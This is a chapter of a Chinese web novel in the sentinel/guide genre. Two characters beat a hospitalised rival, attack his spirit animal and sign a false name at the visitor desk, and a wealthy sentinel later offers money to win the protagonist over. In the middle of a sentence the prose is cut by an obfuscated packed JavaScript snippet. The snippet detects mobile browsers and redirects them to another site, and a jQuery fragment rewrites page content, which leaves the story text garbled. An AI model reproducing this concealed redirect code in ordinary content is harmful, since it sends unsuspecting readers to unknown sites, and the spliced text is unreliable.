彭枭脑袋里开始浮现闻璱围着围裙洗手作羹汤的画面,顿时连摆谱的话都说不出口了。 他幸福地打了个哈欠:“其实我还是有点严重,在住院呢,特种人医院白塔总院,病房号是……” 这倒是巧了。 闻璱“嗯”、“好”地敷衍过,然后毫不留情地挂了通话,丝毫不顾彭枭还在幻想。 一回过头,就望进弓铮皎那双忐忑、复杂、嫉妒,又隐隐带着一丝兴奋的目光。 闻璱微微一笑,低声问他:“医院应该也有你家的背景,对吧?” 弓铮皎点了点头。 “那就靠你了。”闻璱冲他眨眨眼睛,“弓大少爷,在特种人的地盘,斗殴是可以的,对吧?” 21.第 21 章 豪华病房里,彭枭从被窝里爬出来,一蹦一跳进了洗手间。 他被弓铮皎踹过的那条腿骨头碎了,伤得不清,现在被固定在特殊支架上,既不能弯曲,也不能用力。 要不是哨兵体质好,大概几个月都下不来床。 紧急刷牙洗漱过后,彭枭纠结着,是给自己抹点发胶耍帅呢?还是画个憔悴病妆,走可怜路线呢? 闻璱会很心疼吧。 一想到闻璱,他就忍不住笑出了声——闻璱亲手制作的三明治,这要是放在以前,挂论坛上指不定能卖出海景房。 不过如今,在彭枭的极力败坏下,市场价有所下降。 对只打算自留的彭枭来说,利大于弊。 门被轻轻敲响了。 彭枭跳过去拉开门,映入眼帘的确实是闻璱,也确实是微笑着,对自己伸出了手。 他觉得闻璱似乎是想摸摸自己的脸,于是配合地抬起下巴——下一刻,就被那只手擒住脖子推进了病房。 彭枭一条腿用不上力,很难不失衡,就这样被一把撂倒在病床上。 他的视野里一直是闻璱,是漂亮的脸,白皙的肌肤,矜贵而高傲的下颌线条,还有似乎有些隐忍的表情。 以至于一时间,他竟然没回过神,沉浸在浆糊一样的幻想中:闻璱居然这么热情? 而动手的人只是优雅地解开自己的袖口,把衣袖挽到手肘上面,露出线条漂亮的手臂。 “关门。”闻璱没回头,淡淡地吩咐道。 弓铮皎立刻把门锁上了。 落锁的声音把彭枭从幻想拔出来,他才反应过来,似乎有哪里不对。 比如,进来的不只是闻璱,还有一个可恨而又可怖的家伙。 “你进来做什么!”彭枭刚爬起来,就被一记突如其来的上勾拳击在下颌,力道很大,直接把他打得飞了出去,砸在落地窗上。 医院的智能玻璃质量很好,这一下除了彭枭的惨叫声,什么破坏也没有造成。 弓铮皎惊讶地看着闻璱。 大概彭枭如果还能思考的话,也会作出类似的反应,因为那一拳出自闻璱。 早在闻璱握拳、绷紧手臂时,弓铮皎就敏锐地察觉到闻璱在酝酿着什么。 最终挥出的这一记上勾拳干净、漂亮,看得出闻璱在近身格斗上一定花了很多功夫。 但是,生理上的差异客观存在,就算闻璱的体能和格斗技术同样优秀,似乎仍然不足以对A级哨兵造成如此伤害。 所以彭枭痛得现在还在嚎,只可能是因为,这一拳同时夹杂了精神力攻击。 对于哨兵来说,这是最有效的“附魔”方法,能够打出最无视防御的真实伤害。 闻璱又开口了:“把窗户打开。” 于是,站在门口的弓铮皎操控面板,让窗户掀开了一个小小的缝。 为了防止病人跳楼自杀,住院部的窗户被设置成无法完全打开,而智能玻璃一旦碎裂会立刻报警,所以,如果闻璱想把彭枭成功扔下去的话……这件事应该交给自己来办。 弓铮皎心里默默盘算着速度和角度,却见闻璱在彭枭面前蹲下,温和地伸手按在彭枭额前。 ……为什么突然奖励彭枭? 下一刻,一声鸮鸣传来,一个影子鬼鬼祟祟地从窗户缝里钻了进来,是彭枭的精神体雕鸮。 奇怪的是,雕鸮似乎并不听彭枭的使唤,而且彭枭已经被刚刚那一记附魔上勾拳打得再起不能,大概率也无法指挥精神体做什么。 雕鸮似乎想扑过来亲昵地蹭一蹭闻璱,但一只手再一次掐出了它的翅根。 弓铮皎冷着脸说:“小心,它想攻击。” 虽然他从雕鸮的动作就能看出,根本没这回事。 闻璱也并没有勒令他松手,只是淡淡地吩咐:“弓铮皎,揍它。” 弓铮皎瞳孔地震:“啊?” 对精神体出手……?如果说在格斗里掺杂精神力攻击,是普通的“附魔”,那这种行为就无异于用生锈、长毛刺的刀给人做外科手术,还是不打麻药的那种。 这太残忍、暴力、限制级了,只是不见血而已。 但弓铮皎喜欢——这竟然意外地符合闻璱的风格。 他立刻用精神力拍了拍雕鸮的头,对小动物的力道看起来倒算不上狠毒。 雕鸮也确实没什么反应,精神体并没有痛觉和实质,认错了主人的雕鸮甚至仍然容光焕发,试图和闻璱亲近一番。 但一切精神痛都会反应在哨兵的脑袋里,彭枭抽搐着发出哀嚎。 闻璱眼疾手快地从床边抽出被角,塞进彭枭嘴里。 显得彭枭很惨,但闻璱仍然不满意,皱眉命令:“没吃饭吗?用点力。” 说完他才想起来,他们确实都没吃早饭。 弓铮皎道:“创伤太严重的话,精神体会自我保护,缩回精神图景的。” 那样就只能继续对彭枭进行物理意义上的拳打脚踢,不如真实伤害有效。 闻璱道:“不会。” 他轻笑了一声:“在他回过神来之前,他的精神体和精神图景暂时由我接管了,现在抓紧时间,给我揍晕他。” 对闻璱来说,这其实和他安抚哨兵的手法类似,只不过,他一向不认为自己需要如此对待一个哨兵。 唯独彭枭有幸获此殊荣。 于是,在此起彼伏的惨叫声中,雕鸮惨遭捏扁搓圆。 雕鸮活泼地扑腾着想要靠近闻璱,只可惜,它无法逃脱弓铮皎的魔爪桎梏。 一场单方面的“蹂躏”过后,雕鸮看起来还是乖巧又萌萌,彭枭已经昏厥了。 意识涣散后,精神也会暂时封闭,这也是一种自我保护和修复的手段,再折腾,恐怕彭枭一个不小心真的会神游。 闻璱还不至于要做到这个地步。 “好了。” 令行禁止,弓铮皎立刻停止用精神力欺负雕鸮,只是手还捏着雕鸮,防止它真的扑到闻璱怀里。 他竟然觉得,不管是什么东西,就算是彭枭这个见人的精神体,被闻璱接管之后,都会显出几分可爱娇憨来,完全没有之前那么惹人厌烦。 闻璱在雕鸮耳边打了个清脆的响指,让雕鸮昏睡过去,身形也逐渐消失在空气中。 趁着没人发现病房里的惨状,他们关上窗户、把彭枭放回病床,悄无声息地原路返回。 离开之前,护士叫两人过来登记。 闻璱在护士工作台光明正大地签下访客名字:弓铮皎。 护士提醒:“等等,你们有两个人,需要分别签字……” 护士长微笑着打断他的话,对闻璱身后的弓铮皎轻轻点头,然后恭敬地对闻璱道:“弓先生,慢走。” 仿佛一切都无事发生。 好巧不巧,刚回到逄靥星的手术室不久,手术灯就灭了。 门一打开,闻璱和冬歆亭连忙迎上去:“医生,他怎么样?” “手术很顺利,病人目前生命体征稳定,但情况特殊,我们已经联络了疗愈中心,等一下应该要……” 话音未落,就听病床上传来一声闷闷的哼唧声。 顿时,所有的目光都低了下去。 逄靥星还插着管呢,冲面前的几张脸眨了眨眼,仿佛在说:我没事。 医生也迟疑了:“这是什么情况?刚才仪器显示他都近神游了……” 近神游状态下,哨兵的情况很难监测,通常需要外力辅助。 否则,按照哨兵的身体素质,通常会精神力仪器来引导自体进行修复,而不是采用普通人的医疗手段。 闻璱喃喃道:“近神游?”他回过神来,点了点头,“没事的,我大概了解他的情况了。” 他突然想起,曾经有一次任务中,逄靥星也出现过类似情况,只不过没有这次严重。 那次严重的反而是闻璱——之后不久,闻璱就确诊了拟态孤独症。 “既然他醒过来了,就算要转移到疗愈中心那边,也可以拔管了吧?”闻璱问。 逄靥星立即配合地眨眨眼睛,目露恳求。 冬歆亭欲言又止片刻,也道:“是啊,先拔管好了。”。 普通病人的话,当然不可以这么草率;但逄靥星是S级哨兵,且病人本人和法定亲属都强烈要求,医生检查过指征,勉强同意了申请。 逄靥星就这样又被推回去拔管、检查。 没过多久,逄靥星状态良好地被转入住院部病房。 他还不能说话,路上只能一直疯狂眨动自己那双宝蓝色的眼睛,生怕谁注意不到他一样。 小月被他逗得忍不住破涕为笑。 冬歆亭问:“疼吗?但我已经调整你的痛觉了。” 逄靥星立刻左看右看,似乎在表示摇头。 “眼皮痒痒吧。”闻璱凉凉地说。 逄靥星无语地翻了个白眼。 一直跟在最后的弓铮皎突然说:“可能是因为我在。” 他一直安安静静、不远不近地跟着闻璱,而这种情况以前在圣所实在太常见,以至于冬歆亭险些忘了这个人的存在。 而弓铮皎话音才落,逄靥星立刻狠狠地眨眼表肯定。 冬歆亭才想起来问:“这位是?” 闻璱微微一笑:“一个朋友,你应该听说过他的名字。” 他看向弓铮皎,介绍道:“忘了跟你介绍,这位是冬歆亭,S级向导,我的队员。” 弓铮皎就简短地说:“你好。我是弓铮皎。” “哦哦,你好,弓先生……”冬歆亭也向他回以礼貌的点头。 他推着病床又走了两步,终于在逄靥星目眦欲裂的眼色中想起什么,猛然回头:“等等,你是弓铮皎?” “小胖之前的上一任首席哨兵?” 弓铮皎颔首。 “蒸饺omo?” 弓铮皎动作一僵。 闻璱不禁轻笑一声,替弓铮皎回答道:“是他。” “那你们为什么……”冬歆亭不大理解地反复扫视两人,声音渐渐低了。 他的手揣进口袋里,不出几秒,闻璱的终端就震动起来。 螺钿艺术家歆亭:【闻队,他该不会是来约战的吧?小胖现在可支棱不起来。】 闻璱抬眼,奇怪地瞟他一眼,不明白冬歆亭怎么能跟逄靥星说出如此相似的话来。 还没来得及回复,螺钿艺术家歆亭又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432630|168897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弹来一个链接。 点开一看,是一个既“NEW”且“HOT”的帖子:【前后两任首席哨兵的对决,你们押谁赢?买定离手!】 闻璱:? 正巧病房到了,把活泼但无声的逄靥星安顿好之后,闻璱走出病房,怀着“???”的心情点进帖子。 发现果然有网友发出跟他一样的疑问:【为什么开这种盘?】 下面有人回复了图片,是热心林友老网和朋友的聊天记录截图。 热心林友老网说,在某吃瓜帖发布评论后,弓铮皎私信问他污染区发生了什么事,临走前还专门欲盖弥彰地留下一句:他和彭枭不熟。 ——这不是要替彭枭伸张正义,又是什么? 看来弓铮皎要代替彭枭,和w什么s那个传说中的情人逄靥星,展开一场争夺哨兵尊严的决战了! 闻璱:…… 哨兵尊严决战的两方,现在一个插着管躺在病房里,叫都叫不出声。 另一个这会就蹲在他脚边,低着头刷终端。 闻璱无意窥探弓铮皎的隐私,只是高度差使然,一不小心就看见,弓铮皎的屏幕上,赫然也是论坛的界面。 他心想,弓铮皎在工作室当摆设时,整天终端不离手,是不是就每天沉浸在这些乱七八糟的帖子里? ……所以才总是胡思乱想一些有的没的。 弓铮皎注意到他的目光,立刻熄了屏幕,抬头问:“怎么了?我就随便刷刷论坛。” 他正要站起身,被闻璱按着肩膀又蹲了回去。 紧接着,闻璱也在他身侧蹲下,头微微靠近了些,低声问:“让我也看看?” 咫尺之间,弓铮皎几乎能看清,睫毛掩映下粉色虹膜上的花纹。 更不用说萦绕在鼻间隐隐约约的香气,清新、微甜,带着一丝若有若无的冷意和水生调的潮湿。 向导素混合着若有若无的香氛,还兼顾一定的镇痛、安眠作用,对弓铮皎来说,仿佛某种致幻作用的药剂,令他享受,却也慌张,沉迷而又惶恐。 就连成瘾性,似乎也如出一辙。 有那么一瞬间,弓铮皎逃避地移开视线,又很快凌乱地转了回来,似乎不知道自己该往哪看。 闻璱没有错过,于是,他又靠近了半分,发丝有些松散地落在弓铮皎肩头。 “合同的事,我们还没聊完,对吧?” 在充斥着消毒水味道的医院走廊里,在如此暧昧涌动的氛围下,这句话像冰水一样,把弓铮皎从桃色幻想里泼回现实。 弓铮皎低低地“嗯”了一声,问:“你想怎么样?” “这话应该轮到我问你吧?”闻璱笑了,“现在,你有我的把柄了,是你想怎么样才对。” 他是说刚刚去暴揍彭枭的事。 这件事以闻璱的力量,是无论如何也过不去的;对弓铮皎这个超级特权阶级来说,却轻而易举。 这个把柄在弓铮皎的手里,弓铮皎其实可以用来威胁闻璱,做些什么。 只不过,这样一说难免显得功利,而弓铮皎的策略,在闻璱看来,就是没有策略。 于是,仿佛是悄悄话,闻璱又用很轻很轻的气音说:“你刚才帮我打人的样子真帅。” 弓铮皎并不想拿捏闻璱。 可是,如果这是让闻璱答应他的唯一方法的话,他很难不纠结。 而这一句“真帅”立刻把他锤进了无法拒绝的坑底。 他脸颊飞上一丝若有若无的薄红,又欲盖弥彰地轻抿薄唇,只犹豫了几秒钟,他就果断道:“那简单,你收工,每天在家里陪我就行。你不需要做任何事,也可以折腾任何你想要做的爱好、兼职,但不能把哨兵带回家里来。” “我也可以跟你签一份合同,你从离婚能分得的那一半遗产,可以立刻转到你名下。我死之后,会立一份遗嘱,无论如何,不用你操心,你会是剩下遗产的唯一继承人。” 闻璱完全理解了这段话的中心大意:亏不到自己。 一个命不久矣,对自己有企图,但又不那么有的哨兵,希望自己提供一份最多长达半年的“临终关怀”,为此愿意付出巨额遗产。 如果第一次打照面时,弓铮皎就这样说,闻璱说不好真的会答应。 几乎什么也不用做就能拿钱的活,谁不想干。 但现在,闻璱不那么想了。 闻璱思索片刻,道:“合同不合同的,以后再说,先给我转两百万看看实力。” 弓铮皎二话不说,立刻转账,并体贴地备注上“自愿赠与”。 他看着闻璱拿出终端收下,结果闻璱仍是不置可否:“就只有这些?” 弓铮皎有些费解:“你还想要什么?这些钱和不动产够你挥霍到一百岁了。叔叔的公司我插不了手,你也是特种人,就算你答应张律师,也不可能得到公司的什么好处……” 话语戛然而止。 因为闻璱凑近了他的耳畔。 气息拂得弓铮皎半边身子都麻了,他需要花极大努力来抑制住拟态融合的冲动。 即便如此,那只耳朵还是又红又烫,险些没成了烙铁。 他听到闻璱说:“想追我,这点诚意可不够。”